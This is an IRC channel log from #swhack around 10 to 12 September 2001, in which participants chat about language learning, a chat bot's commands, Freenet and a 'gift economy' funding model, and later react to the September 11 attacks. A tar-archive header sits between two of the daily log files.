haha, tav's fist obsession 01:37:42 <tav> deltab? 01:37:48 <deltab> 013847Z <tav> you can never forget the very fist sentence you are taught in 01:37:48 <deltab> any language 01:38:01 <tav> d'oh! 01:38:14 <tav> it's the subliminal... 01:38:36 <tav> * tav gives up on sbp and gloats his punitive knowledge of italian 01:38:39 <tav> mi chiamo! 01:38:41 <sbp> * sbp substitutes "o" for "a" and kicks the person who invented 01:38:47 <tav> heh 01:38:58 <sbp> er... invented... what's the word? 01:39:32 <sbp> Guess how many languages I've tried to learn? Eh? Take a wild guess. And guess how many I speak fluently 01:39:50 <tav> 9 / 3 01:39:51 <tav> ? 01:39:53 <AaronSw> 1, 0 01:39:56 <sbp> * sbp counts... 01:40:00 <sbp> lol, Aaron 01:40:00 <Morbus> i'm still learning english ;) 01:40:02 <tav> AaronSw: ouch 01:40:25 <AaronSw> Sean and I are good enough friends that he understands his English is bad. 01:40:35 <tav> heh 01:40:41 <tav> know each other offline? 01:40:56 <AaronSw> Nah... he's too far away. 01:41:16 <tav> english, french, latin, tamil, hindi, sanskrit, japanese, swedish, russian, arabic 01:41:30 <AaronSw> Hmm... 01:41:31 <AaronSw> Innermost method: /espnow/index 01:41:31 <AaronSw> Name not found or not allowed: There is no variable named 'trust_rating' 01:41:33 <Morbus> i know boolean. ok. i should just shut up now 01:41:43 <AaronSw> Wow, that's impressive, tav. 01:41:59 <AaronSw> No, seriously, sbp, how many languages do you know? 01:42:07 <sbp> English/French/German/Italian/Russian/Catonese/Mandarin/Sanskrit/Latin/Iranian:English 01:42:07 <tav> [ english, tamil] [french, hindi] [latin, sanskrit] 01:42:20 <sbp> 10:1 01:42:23 <tav> heh 01:42:28 <sbp> feeble, eh? 01:42:47 <sbp> I was going to learn Norweigian next 01:43:00 <tav> i can understand very basic norwegian 01:43:05 <tav> mainly due to the swedish 01:43:19 <sbp> first step, learn how to spell "Norwegian"... 01:43:26 <tav> heh 01:43:43 <sbp> it's very close to English, so I'm told 01:43:49 <AaronSw> Hmm, what's xt? 01:43:59 <tav> AaronSw: it'd be impressive if i were fluent in all of them 01:44:06 <tav> (but i will be one day) 01:44:13 <AaronSw> That will be really impressive. 01:44:57 <tav> sbp: whats your mother tongue? 01:45:19 <tav> imo, forget german, focus on latin and sanskrit 01:45:21 <sbp> I have no idea 01:45:40 <tav> ehm, you are an alien? 01:45:43 <sbp> German is pretty terrible. Latin is quite cool, as is Sanskrit 01:45:49 <sbp> no, I just have no idea 01:46:10 <sbp> Oh, and Welsh! I forgot Welsh 01:46:12 <sbp> 11:1 01:46:13 <AaronSw> .webster mother tongue 01:46:21 <AaronSw> .webster mother tongue 01:46:22 <xena> error: unable to define mother tongue 01:46:24 <tav> forgive me if i'm being rude, but what etnic group are you? 01:46:33 <sbp> English/White 01:46:39 <tav> oh 01:46:43 <sbp> Language/Ethnicity 01:46:57 <tav> hmz, i'm perplexed by the not being good at english comments 01:47:20 <AaronSw> We're just kidding him. 01:47:25 <AaronSw> Sean's a great English speaker. 01:47:25 <tav> your english seems excellent in the esl draft 01:47:31 <tav> heh, yea 01:47:34 <sbp> Aaron's just taking the piss. I'm writer of professionalism... er... profectional writer... or something 01:48:00 <AaronSw> Oh, yes, that's why he's a bad writer. I remember now. He has a book with his name on it. 01:48:02 <tav> * tav slaps himself 01:48:17 <AaronSw> Don't worry, it's just one of those fake Wrox things. 01:48:39 <AaronSw> * AaronSw has an autographed copy of "Wrox: VoiceXML" that says "To Aaron: Who knew about VoiceXML a whole year before I did." 01:48:48 <tav> lol 01:48:56 <AaronSw> But yet she still got the book deal! Sheesh. 01:48:58 <sbp> Actually, it is funny; there are so many run on sentences in there, which is weird because I nenver type run on sentences, and would probably go so far as to say that run on sentences are absolutely terrible and should be avioded at all costs 01:49:32 <tav> has xena died? 01:49:35 <tav> .e cofe 01:49:36 <xena> http://localhost:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 01:49:38 <tav> oh 01:49:39 <tav> hmz 01:49:46 <AaronSw> What does .e do? 01:49:49 <sbp> hmz? Davka 01:49:56 <AaronSw> Davka? 01:50:13 <sbp> It's Hebrew 01:50:22 <tav> e is an alias to plexname 01:50:24 <tav> .e 01:50:24 <xena> usage: email <email address> [<subject line> //] <message> 01:50:25 <xena> - send email from irc! just specify the email address you want to send it to. 01:50:26 <xena> - you can also provide an optional subject line, provided you close it with // 01:50:27 <tav> argh 01:50:30 <sbp> another one on my to-do list... 01:50:30 <tav> .plexname 01:50:31 <xena> usage: plexname <plexname> 01:50:31 <xena> - converts a plexname to the equivalent relative or functional uri 01:50:37 <AaronSw> what does plexname do? 01:50:42 <Morbus> man alive. what are those "usage" things supposed to look like? they look horrible in my irc thingy 01:50:54 <AaronSw> Hmm, guess you don't support coloring. 01:50:55 <tav> pelxnames is my attempt of replacing the domain name infrastructure 01:51:02 <AaronSw> How do I get in? 01:51:04 <sbp> .email sean@mysterylights.com [arse] I'll bet that this doesn't work 01:51:05 <xena> email successfully sent. 01:51:27 <sbp> * sbp eats his words... ooh, mint 01:51:29 <Morbus> huh. it says it supports ircle colors. 01:51:37 <tav> .email sean@mysterylights.com it does too // bwahahahahahahaa! 01:51:37 <xena> email successfully sent. 01:51:49 <AaronSw> .plexname AaronSw http://www.aaronsw.com/ 01:51:56 <AaronSw> .e AaronSw 01:52:00 <sbp> a//h//a 01:52:06 <tav> hmz, want me to create an add plexname infrastructure? 01:52:14 <AaronSw> Well, how else do I get in? 01:52:21 <tav> right now? 01:52:25 <tav> i add them manually 01:52:26 <AaronSw> Yes. 01:52:33 <tav> goto plexnames.com 01:52:38 <sbp> hmz: slovenian? 01:52:58 <sbp> Arabic? 01:53:05 <tav> arabic, yes 01:53:09 <tav> slovenian, why 01:53:10 <sbp> Arabic root, to prick, urge on, prod. hamza, from Arabic hamza, graphic sign for the glottal stop, from hamaza, to prick, to urge on, prod. 01:53:11 <tav> ? 01:53:29 <tav> heh 01:53:39 <sbp> slovenian: dunno... a first guess 01:53:43 <tav> xt is just a zope product of mine 01:53:48 <tav> it does all sorts of fancy stuff 01:53:49 <AaronSw> ahh... 01:53:58 <AaronSw> tav, what goes in "functional" for my plexname description? 01:54:15 <tav> ah, lemme demonstrate 01:54:23 <tav> .e ? 01:54:24 <xena> usage: email <email address> [<subject line> //] <message> 01:54:25 <xena> - send email from irc! just specify the email address you want to send it to. 01:54:26 <xena> - you can also provide an optional subject line, provided you close it with // 01:54:26 <tav> gah 01:54:37 <tav> .e cofe 01:54:37 <xena> http://localhost:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 01:54:42 <tav> .e cofe tav.yi.org 01:54:42 <xena> http://tav.yi.org:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 01:54:58 <tav> the normal uri woulda been : http://localhost:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 01:55:15 <tav> the functional uri woulda been : http://<args>:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 01:55:26 <tav> <args> is basically everything after the plexname 01:55:26 <sbp> freenet? Brr... 01:55:32 <tav> yea, freenet 01:55:42 <AaronSw> I see, so I insert a literal <args>? 01:55:46 <tav> yes 01:55:55 <sbp> the problems that freenet causes! with it's anonymity 01:55:56 <AaronSw> pfft, i need a password 01:56:08 <tav> heh, as i said, only i can add... 01:56:09 <AaronSw> problems? more like benefits 01:56:24 <AaronSw> you need more adders 01:56:54 <AaronSw> I wish I had as many cool things as tav... 01:56:57 <sbp> * sbp loves Freenet 01:57:11 <tav> heh 01:57:27 <sbp> But I dunno how to install on WinMe... doesn't have JRE 01:57:42 <tav> well, i spend my whole life focussed on taking over the world 01:57:50 <tav> sbp: download it.... 01:57:58 <tav> we package the latest SUN JRE with espsetup 01:58:09 <sbp> neat 01:58:10 <tav> http://www.espsetup.com/win32/espsetup.exe 01:58:21 <sbp> * sbp gets 0.3.9.2 01:58:29 <tav> ehm 01:58:32 <AaronSw> espra's pretty cool 01:58:33 <tav> just use espSetup 01:58:38 <tav> it comes with latest freenet too 01:58:57 <sbp> * sbp notes that he just got a new computer, which is why he doesn't have Freenet installed... it was happily installed on his old computer 01:59:53 <AaronSw> email me@aaronsw.com Freenet Rocks! 01:59:54 <sbp> I don't use Java much, so it worked out well :-) 01:59:57 <AaronSw> .email me@aaronsw.com Freenet Rocks! 01:59:57 <xena> error: [Errno socket error] host not found 02:00:00 <AaronSw> grr! 02:00:09 <sbp> He he he 02:00:32 <AaronSw> .email sean@mysterylights.com Freenet Sucks! 02:00:32 <xena> error: [Errno socket error] host not found 02:00:57 <AaronSw> * AaronSw tried out Freenet an hour or so ago... web proxy is pretty cool 02:01:19 <tav> yay! 02:01:23 <tav> xena's dead 02:01:38 <sbp> Oh feck, it just asks me to install JRE 02:02:00 <tav> <Morbus> hey there. who are you? <g> 02:02:08 <Morbus> hehehe. 02:02:10 <tav> AaronSw: care to introduce me? 02:02:20 <Morbus> iv'e heard the supreme ruler bit ;) 02:02:35 <sbp> * sbp is still wondering who tav is too 02:02:39 <AaronSw> tav, Morbus is a Perl hacker who works on RSS and Amphetadesk and screws up machines at an ISP. 02:02:53 <Morbus> and don't forget disobey.com ;) 02:02:55 <AaronSw> Morbus, sbp, tav is head of ESP, makers of hundreds of esp* domain names 02:03:19 <AaronSw> as well as Espra, xena, and other fine Zope products and things that start with x. 02:03:29 <tav> .whois espterrorism.com 02:03:29 <xena> espterrorism.com - ImportError: No module named select 02:03:51 <Morbus> and he wrote some bookie thingy? or she? 02:04:03 <AaronSw> bookie? 02:04:16 <Morbus> book. you know, baby talk for ignorance. 02:04:25 <tav> we are the guys behind gift economy, a society with direct democracy, basic socio-economic rights 02:04:44 <sbp> oh, so that was you! 02:04:44 <Morbus> that sounds familiar. ever heard of the lottery of babylon? 02:05:01 <AaronSw> direct democracy fascilitated by the Internet? 02:05:12 <tav> also intend to bring about reputation servers, trust metrics, etc 02:05:26 <AaronSw> wow, and you're getting funding from where? 02:05:45 <AaronSw> * AaronSw adds espra to his list of cool places to work 02:06:14 <tav> well, we managed to get private investors to support us ;p but unfortunately, we are left to look elsewhere lately 02:06:27 <deltab> * deltab notes AaronSw's addition, and plans something 02:06:34 <tav> and, the gift market model is the answer, i'm convinced! 02:06:37 <AaronSw> ooh... what, i wonder... 02:07:11 <AaronSw> hmm, so you'll have all your programmers working for you for free as a plege to the gift economy... interesting! 02:07:26 <tav> deltab: we stopped the mass orgy ritual after your initiation you know... 02:07:30 <tav> ;p 02:07:30 <AaronSw> See also the lack of content at http://cge.espra.net/ 02:07:37 <AaronSw> orgy: aww, shoot! 02:07:45 <tav> see also the lack of content on everything esp does ;p 02:07:50 <Morbus> i'm satanist! do i get some lovin'? 02:08:26 <sbp> I wonder why Satanists go to hell? Isn't that the first place they'd want to go? 02:08:47 <Morbus> no, satanists don't believe in heaven, hell, god or satan. or at least the Church of Satan doesn;t 02:09:08 <sbp> so why isn't it called the Church of Nothing? 02:09:29 <sbp> or just "Nothing"? That'd be better 02:09:30 <Morbus> becuase we could care less if you want to make asssumptions without researching. that just adds you to our idito list :) 02:09:48 <sbp> Pfffff, without researching my ass! 02:09:58 <Morbus> i'm not affiliated with the CoS though. most satanists just follow some "rules" and then branch out themselves' 02:10:08 <deltab> sbp: yes, very much without that 02:10:22 <AaronSw> lol 02:10:24 <sbp> He he he 02:10:33 <tav> heh 02:10:42 <sbp> * sbp was going to add a comma, but gave in 02:10:48 <tav> so, for the fourth channel in two days 02:10:49 <Morbus> hehehe 02:10:54 <tav> lemme pitch the gift market to you folks 02:11:00 <Morbus> alright 02:11:05 <AaronSw> I'm sold! Where do I sign? 02:11:11 <sbp> * sbp puts his "no, really, I am interested" face on 02:11:27 <tav> first off, what does gift economy say to you? 02:11:28 <Morbus> * Morbus leans meditatively and intently forward. 02:11:39 <Morbus> it reminds me of those sites that give gifts for people for no reason 02:11:44 <Morbus> kinda like a two way camgirl thing 02:12:06 <sbp> two way camgirl? sounds fun 02:12:11 <AaronSw> It reminds me of monks with wrapped boxes and bows. 02:12:13 <Morbus> heh. have you heard of that, sbp? 02:12:38 <AaronSw> It also reminds me of agorics, and potlach, etc. 02:12:58 <Morbus> quickly: chick with cam puts up wishlist. desparate men "pay" her off with gifts to do favors on cam. 02:12:59 <sbp> I haven't, but I'm interested 02:13:05 <tav> jej 02:13:07 <tav> heh 02:13:11 <Morbus> its been on salon and somewhere else recently. 02:13:16 <AaronSw> jej? 02:13:29 <Morbus> heh+1 02:13:29 <tav> it 3 am 02:13:33 <sbp> h>j 02:13:36 <tav> i'm allowed to make typing mistakes 02:13:44 <sbp> No, it's quarter past 3 02:13:50 <Morbus> actually, its 10:15 02:13:58 <AaronSw> 9:15! 02:14:01 <sbp> 3:15AM, I tell you! 02:14:11 <Morbus> ok. get out our swatch synchonizers 02:14:15 <AaronSw> Anyway.... 02:14:24 <Morbus> this is that cam girl thing: http://www.salon.com/tech/feature/2001/08/13/cam_girls/index.html 02:14:29 <sbp> There's another Iridum Flare tonight sometime... a really bright one 02:15:32 <tav> those satellites coulda been something 02:15:39 <AaronSw> I thought those satellites dropped into the atmosphere. 02:15:52 <sbp> Wow, kick-ass 02:15:55 <sbp> perhaps literally 02:16:08 <AaronSw> You know Motorola headquarters is right around here. 02:16:32 <AaronSw> I went to the Motorola Museum for my birthday once. 02:18:00 <AaronSw> anyway, tav was telling us about the gift economy 02:18:08 <sbp> Anyway, Gift Econ... yes 02:18:22 <tav> hmz 02:18:35 <tav> so, in all seriousness, what does it say to you? ;p 02:18:56 <AaronSw> It's people donating things to each other for the improvement of society. 02:19:15 <Morbus> ok. kinda like those book trade things i've been seeing recently 02:20:11 <tav> well, one aspect of the gift economy is the system of exchanging commodities under the principles of voluntary payment and unrestricted distribution 02:20:59 <tav> distribution mechanisms such as freenet, bring down the cost of distribution to negligible levels 02:23:04 <tav> ehm 02:23:10 <tav> people still there? 02:23:24 <sbp> I think so 02:23:24 <Morbus> yuppers 02:23:46 <sbp> aren't "yuppers" people who carry mobile phones and bark? 02:23:52 <Morbus> bwahahaha. 02:24:01 <tav> right, so, with distribution costs so low, the question is one of renumerating the content creators 02:24:01 <sbp> :-) 02:24:27 <AaronSw> renumerating? i.e. paying back? 02:24:33 <sbp> why does Freenet bring the cost of distribution any lower than the rest of the WWW? 02:24:54 <AaronSw> Because with the Web you need to host a server. 02:24:58 <AaronSw> With Freenet you only need a client. 02:25:19 <tav> AaronSw: yes 02:25:44 <tav> ehm 02:25:47 <tav> remunerating even 02:26:00 <AaronSw> remunerating? 02:26:03 <tav> to compensate the content creator for the effort they have put in 02:26:19 <xena> xena has quit 02:26:37 <AaronSw> bye bye, xena 02:26:47 <AaronSw> ok 02:27:01 <xena> xena has joined #swhack 02:27:07 <tav> .webster remunerate 02:27:08 <xena> Remunerate defined as: 02:27:09 <xena> (-?t), v. t. [imp. & p. p. 02:27:10 <xena> - {Remunerated} (-?"t?d); p. pr. & vb. n. {Remunerating}.] [L. remuneratus, p. p. of remunerare, remunerari; pref. re- re- + munerare, munerari, to give, present, from munus, muneris, a gift, present. Cf. {Munificent}.] To pay an equivalent to for any service, loss, expense, or other sacrifice; to recompense; to requite; as, to remunerate men for labor. 02:27:13 <xena> - Syn: To reward; recompense; compensate; satisfy; requite; repay; pay; reimburse. 02:27:24 <tav> there ;p 02:27:41 <AaronSw> fine 02:27:43 <tav> sbp: w/ freenet, there is no cost of hosting a server as AaronSw pointed out 02:27:51 <tav> the cost is distributed evenly amongst all the users 02:28:03 <AaronSw> Which is how the Web was supposed to be... 02:28:59 <AaronSw> but caching fizzled out. 02:29:02 <tav> yup 02:29:08 <AaronSw> http://www.w3.org/Propagation/ 02:29:13 <tav> read it 02:29:40 <tav> so, let's say AaronSw puts up his shower music 02:29:50 <AaronSw> Aww, thanks tav. 02:29:57 <tav> i love it, and give him $$$ 02:30:12 <tav> that's the simplest form of transaction within the gift economy 02:30:12 <AaronSw> Aww, thanks tav. 02:30:17 <sbp> and the persistence of the resource is given by how often it is accessed? 02:30:34 <tav> sbp: in freenet? 02:30:45 <sbp> yep 02:30:58 <tav> yes, less accessed resources tend to drop out, but we intend to fix that 02:30:58 <Morbus> Morbus has quit 02:31:50 <tav> now, enter gift market 02:32:02 <sbp> fix: great! 02:32:03 <tav> this takes the simple transaction and makes it slightly more complex 02:32:42 <tav> we perceive AaronSw's collection of shower music as a product 02:33:12 <tav> and, he puts it up on the gift market and specifies two things.. 02:33:31 <tav> - for how long people can "buy into" his product 02:33:39 <tav> - how much of his product people can buy into 02:33:53 <sbp> definition of "buy into"? 02:34:05 <AaronSw> gift market stocks? 02:34:06 <tav> e.g. he says people can buy into 20% of his product until the next three months, after which the opportunity closes 02:34:28 <tav> sbp: into future potential revenue through gift economy transactions 02:34:42 <sbp> cool 02:34:51 <tav> e.g. after the three months, someone comes along and gives AaronSw $50 02:34:57 <AaronSw> Money from future transactions? 02:35:07 <tav> yes 02:35:40 <tav> of that $50, $10 (20%) gets split between those who bought into his product 02:36:00 <AaronSw> What about non-cash dontations? 02:36:08 <AaronSw> Like free server hosting? ;-) 02:36:38 <tav> well, that adds a level of complication that isn't being tackled by the implementation yet 02:36:40 <tav> but will do 02:36:55 <AaronSw> So you're actually implementing this market? 02:36:57 <tav> i want the whole commerce layer to be a complex bartering system of sorts 02:37:12 <tav> but, that's more of a medium term goal 02:37:24 <tav> yes, the gift market is something we want to make reality now 02:37:41 <AaronSw> Thru a computer implementation? (Espra?) 02:37:42 <AaronSw> I thought all you guys did was make IRC bots and beautifult but vapid websites. ;-) 02:37:51 <tav> heh 02:39:26 <tav> we do all that too 02:39:37 <tav> whoa major lag 02:39:37 <sbp> * sbp installs JRE 02:39:39 <AaronSw> wow 02:40:04 <sbp> * sbp installs Freenet 02:40:15 <tav> sbp: which one? 02:40:22 <sbp> Freenet_setup0.3.9.2.exe 02:40:24 <tav> the one in espSetup or from the website? 02:40:26 <tav> urgh 02:40:38 <tav> your network won't work quite so well 02:40:51 <tav> use espSetup 02:40:52 <sbp> from SourceForge... what one do you recommend? 02:40:57 <sbp> URI? 02:41:07 <tav> http://espsetup.com/win32/espsetup.exe 02:41:34 <tav> so... sbp / AaronSw: comments on the model? 02:42:07 <AaronSw> Of the gift economy? well, it's pretty much what I expected... rather simple right now 02:42:21 <AaronSw> What does jim (the potlach guy) think? 02:42:27 <sbp> What are your next practical steps for implementing it going to be? 02:43:25 <tav> well, i can expand on the complex models if you wish 02:43:44 <tav> creating digital cash, etc 02:43:54 <tav> but, they are medium term goals 02:43:57 <sbp> ooh, digital cash, go! 02:44:13 <tav> jim likes what we do 02:44:52 <AaronSw> I mean the idea is all great, I've always felt that. I just want to see it happen! 02:45:30 <sbp> * sbp downloads Freenet through ESP 02:45:43 <tav> http://potlatch.net/2001/02/14.html 02:46:11 <tav> and he stayed with me last month and we had lots of crazy sex 02:46:12 <tav> ehm 02:46:21 <tav> s/sex/discussions 02:46:29 <AaronSw> sex? Really? 02:46:47 <tav> no ;p 02:46:56 <tav> megan would kill me 02:47:05 <tav> well, probably jim first 02:47:33 <AaronSw> megan your gf? so? wife? 02:47:41 <tav> re: comment, i want to hear of what you see as flaws in the model 02:47:53 <tav> jim's wife 02:48:02 <AaronSw> i see 02:48:12 <AaronSw> Freudian slip? 02:48:35 <tav> my humour... ;p 02:48:49 <tav> * tav sighs and gives up 02:49:10 <AaronSw> Why would I see flaws in such a model? it's rather plain and simple. 02:49:21 <AaronSw> It's an implementation I could nitpick 02:49:39 <sbp> Freenet is totally smegged for some reason... 02:50:06 <AaronSw> Works for me. 02:50:15 <tav> sbp: what's the problem? 02:50:42 <tav> AaronSw: good ;p 02:50:57 <AaronSw> have you gotten flak from other people? 02:51:49 <sbp> it says it can't find javaw 02:52:54 <sbp> Aha, I fixed it manually 02:53:32 <tav> sbp: run minifindjava.exe 02:53:34 <tav> ah, k 02:53:44 <sbp> * sbp goes to pigdog 02:53:49 <tav> ehm 02:53:56 <tav> pigdog is still accessible? 02:54:09 <tav> didn't even realise it was being updated 02:54:10 <sbp> nope... very very slow 02:54:18 <tav> try cofe 02:54:20 <tav> .e cofe 02:54:20 <xena> http://localhost:8081/MSK@SSK@9BRxNPeBdBVvWUIJb7etC52nlUUQAgE/ContentOfEvil// 02:54:39 <tav> AaronSw: ehm, yes 02:54:51 <sbp> It's churning... 02:54:56 <AaronSw> on what parts, tav? 02:55:45 <sbp> no, it's not getting it 02:56:12 <sbp> wow, it's using port 19114... that's not normal, is it? What's the default? 02:56:22 <AaronSw> I think that's it 02:56:39 <tav> major objections were on the gift economy itself... why would anyone cough up instead of freeloading 02:56:43 <tav> sbp: that's the default 02:56:54 <sbp> Heh, interesting: This page will load content from the world wide web. This could be an error on the part of the page creator - or it could be used to compromise your anonymity. 02:57:00 <tav> there's freenet .4.3 available btw 02:57:07 <tav> ah 02:57:12 <tav> hit the filter 02:57:22 <tav> is this tonite's cofe? 02:58:14 <AaronSw> objections: yeah, i'd expect that... 03:02:54 <tav> -- 03:02:54 <tav> I wish somebody would fix the damn IRC logs. I can't tell what's going on with development without them. 03:02:55 <tav> -- 03:03:06 <tav> deltab: irclogs need fixing 03:03:10 <AaronSw> Our IRC logs work. 03:03:24 <tav> heh 03:03:25 <tav> so do ours 03:03:48 <tav> just something strange happening with dns? 03:07:23 <sbp> how does MSK relate to SSK? 03:10:33 <tav> yes 03:10:40 <tav> MSKs aren't realy 03:10:41 <tav> MSKs aren't real 03:10:48 <tav> just a figment of your imagination ;p 03:11:05 <tav> it's date based redirect powered SSKs basically 03:12:55 <sbp> is there any documentation for them? I can't seem to find anythin that explains it clearly 03:13:41 <AaronSw> How does freenet protect against me stealing someone's future update? 03:16:58 <tav> SSK@public_key/object 03:17:06 <tav> you insert with your private_key 03:17:22 <tav> so, i know that anything inserted that subspace is by you... 03:17:30 <tav> s/that/under that 03:17:40 <tav> sbp: http://freenetproject.org/index.php?page=keyguide 03:19:36 <sbp> aha, cheers 04:11:55 <xena> xena has quit 04:12:46 <xena> xena has joined #swhack 04:12:52 <tav> .e sbp 04:12:52 <xena> sbp: http://purl.org/net/sbp/ 04:13:13 <sbp> :-) 04:15:10 <AaronSw> .e aaronsw doorknob.jpg 04:15:13 <AaronSw> grr! 04:15:19 <AaronSw> .help 04:15:19 <xena> usage: help <command> 04:15:20 <xena> - provides specific usage help for command 04:15:21 <xena> - for a list of valid commands, use commands in a channel or private message 04:15:23 <AaronSw> .e 04:15:23 <xena> usage: email <email address> [<subject line> //] <message> 04:15:24 <xena> - send email from irc! just specify the email address you want to send it to. 04:15:25 <xena> - you can also provide an optional subject line, provided you close it with // 04:18:39 <AaronSw> .when did tav have sex with jim 04:18:39 <xena> tav last logged in on 2001/09/11 03:37:23.3819 Universal 04:21:51 <sbp> lol 04:29:56 <AaronSw> Heheh: "sex is talk; date; touch; unzip; finger; head; mount; fsck; gasp; yes; umount; make clean; sleep" 05:05:21 <sbp> sbp has quit 05:12:36 <AaronSw> Hmm, Pat claims RFC2396 doesn't is confused. That's a problem. 05:13:55 <AaronSw> He badgers my favorite quote defining Resources: "I don't think there is any point it trying to 'rescue' this prose. It is too broken to be useful." 05:13:57 <AaronSw> Ouch. 05:19:58 <xena> xena has quit 05:23:59 <xena> xena has joined #swhack 06:43:58 <deltab> deltab has quit 06:51:08 <deltab> deltab has joined #swhack 07:59:35 <xena> xena has quit 07:59:35 <AaronSw> AaronSw has quit 07:59:35 <tav> tav has quit 07:59:35 <deltab> deltab has quit 08:01:37 <AaronSw> AaronSw has joined #swhack 08:01:37 <xena> xena has joined #swhack 08:01:37 <deltab> deltab has joined #swhack 08:01:37 <tav> tav has joined #swhack 13:13:20 <xena> xena has quit 14:36:11 <sbp> sbp has joined #swhack 15:26:46 <AaronSw> logster, is there still internet to NY? 15:26:47 <logster> I'm logging. I found 1 answer for 'is there still internet to NY' 15:26:48 <logster> 0) 2001-09-11 15:26:46 <AaronSw> logster, is there still internet to NY? 15:26:56 <AaronSw> guess so 15:27:38 <sbp> some sites are down, but I'm guessing that's due to there being so many visitors 15:28:43 <AaronSw> Yeah, they're just being pummeled 15:29:43 <aswartz> aswartz has joined #swhack 15:31:23 <sbp> wb 15:31:30 <aswartz> thanks 15:31:41 <aswartz> Everything in chicago has been closed, museums, etc. 15:34:43 <aswartz> aswartz has quit 15:35:13 <aswartz> aswartz has joined #swhack 15:41:25 <aswartz> aswartz has quit 15:42:14 <aswartz> aswartz has joined #swhack 15:43:19 <lilo> [GlobalNotice] Hi all. Please bear with us as some off-topic discussion continues today. Needless to say, people in the US in particular may be very preoccupied. Thanks. 15:53:13 <sbp> sbp has quit 16:05:11 <aswartz> aswartz has quit 16:05:20 <aswartz> aswartz has joined #swhack 16:37:15 <aswartz> aswartz has quit 17:32:30 <sbp> sbp has joined #swhack 17:32:52 <AaronSw> Hi there. 17:33:07 <AaronSw> <AccordionGuy> I wonder what they're going to do with upcoming movies that prominently feature the WTC. Namely, the Spider-Man movie (where he webs a bank robber's helicopter between the towers) 17:35:40 <lilo> [GlobalNotice] Just a note. Pasting information on flights, need for blood donors and similar things on wallops. To listen, /mode <yournick> +w 17:35:58 <sbp> Yes, and there's an episode of The Simpsons with the WTC towers... they won't be showing that for a while 17:37:44 <AaronSw> How're things with you? 17:38:27 <AaronSw> Wow... "We have suspended our service out of sympathy to the victims and families of this National tragedy. Our heartfelt thoughts and prayers go out to them." - X10.com 17:39:55 <sbp> I'm still just stunned, just watching the news, talking to people 17:40:35 <AaronSw> Some good photos at http://www.brandtheory.com/press/ 17:45:17 <AaronSw> Douglas Rushkoff: "I live high up, on 9th Street, and watched the whole World Trade Center 17:45:17 <AaronSw> disaster unfold from my windows. Excruciating to witness." 17:45:39 <sbp> Yes, I just got a mail from Ranjeeth (HumanML) 17:45:50 <sbp> [[[ 17:45:50 <sbp> HumanMarkup Technical Committee, 17:45:50 <sbp> 17:45:50 <sbp> We have somewhat hidden or obscure our idealism, as part of the HumanMarkup effort. Yet, the utter terrible reality of human conflict is right outside my window--literally. I have seen, from my view in Jersey City, the utter destruction of the World Trade Center. 17:45:50 <sbp> ]]] 17:46:35 <AaronSw> The fellow who hosts my server says he lives 10 blocks from the WTC. He's in CA today, however. 17:46:42 <sbp> Phew 17:47:03 <AaronSw> bram, who works on p2p and crypto stuff says his dad was driving to the WTC to catch a train... 17:47:11 <sbp> Eek 17:47:16 <AaronSw> ... he was minutes away when the plane hit. 17:47:29 <AaronSw> Thankfully he's fine. 17:47:57 <sbp> One woman was on the c.57th floor of Tower 1, and got out just fine... so there is hope 17:48:58 <AaronSw> wow. 17:49:54 <sbp> They didn't collapse for a while, so hopefully, most of the people got out 17:51:17 <sbp> Hmm... someone came up with a good point: the devistation doesn't appear to be as bad as in Hiroshima 17:51:35 <AaronSw> Yeah, no nuclear weapons yet. 17:51:57 <AaronSw> I can't wait to see what the response will be to Bush's "Missile Defense" plan after this... 17:52:00 <sbp> But that was part of the largest war the world has ever seen... this is a huge terrorist attack in peacetime 17:52:05 <sbp> yeah. scary 17:52:15 <AaronSw> Did you read the Tom Clancy novel the attack is like? 17:52:35 <sbp> Nope] 17:52:50 <sbp> Weird though... 17:53:12 <AaronSw> Yeah, apparently one of his books talks about people flying planes into skyscrapers. 17:53:15 <AaronSw> Wow: http://www.thetwowayweb.com/discuss/msgReader$96 17:54:24 <sbp> I can't download it... what does it say? 17:54:51 <AaronSw> Someone called the police from the hijacked plane in Pittsburgh. 17:54:57 <AaronSw> They dialed 911 on their cell phone. 17:54:58 <sbp> Wow 17:55:14 <AaronSw> 'I think the transcript was described as "chilling."' 17:56:01 <sbp> yep, I've found it 17:56:18 <AaronSw> The transcript? 17:57:05 <sbp> not the transcript, just the page you refered me to 17:58:13 <sbp> Gotta run 17:59:05 <AaronSw> bye 18:01:15 <sbp> sbp has quit 19:26:20 <sbp> sbp has joined #swhack 19:27:25 <AaronSw> what you say? 19:27:41 <sbp> Pardon? 19:27:57 <AaronSw> what's up? 19:28:19 <sbp> The usual 19:53:45 <AaronSw> It's eerily quiet outside... 19:53:54 <AaronSw> no planes, no cars... just the wind and the birds 20:14:39 <sbp> Yes, it's the same here. People all inside watching the news stunned, I guess 20:38:42 <sbp> sbp has quit �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������2001-09-12.txt��������������������������������������������������������������������������������������0100644�0000143�0001000�00000030007�07347773336�012025� 0����������������������������������������������������������������������������������������������������ustar �nobody��������������������������devel������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������20:52:30 <logster> logster has joined #swhack 20:52:31 <sagan.openprojects.net> topic is: Join #swhack. Sean chats there. 20:52:31 <sagan.openprojects.net> Users on #swhack: logster tav deltab AaronSw 20:53:17 <logster> logster has joined #swhack 20:53:17 <forward.openprojects.net> topic is: Join #swhack. Sean chats there. 20:53:17 <forward.openprojects.net> Users on #swhack: logster AaronSw deltab tav 20:59:27 <AaronSw> Replay for logster: 20:59:37 <AaronSw> *** logster has quit IRC (Ping timeout for logster[xcdfddb76.ip.ggn.net]) 20:59:37 <AaronSw> *** Morbus (Morbus@s111.terminal3.totalnetnh.net) has joined the channel 20:59:37 <AaronSw> *** Morbus has quit IRC (http://www.disobey.com/) 20:59:37 <AaronSw> *** We'll miss you 20:59:37 <AaronSw> *** Does this mean you're really back? 20:59:38 <AaronSw> *** We'll miss you 20:59:40 <AaronSw> *** Does this mean you're really back? 20:59:42 <AaronSw> *** Morbus (Morbus@s111.terminal3.totalnetnh.net) has joined the channel 20:59:44 <AaronSw> *** sbp 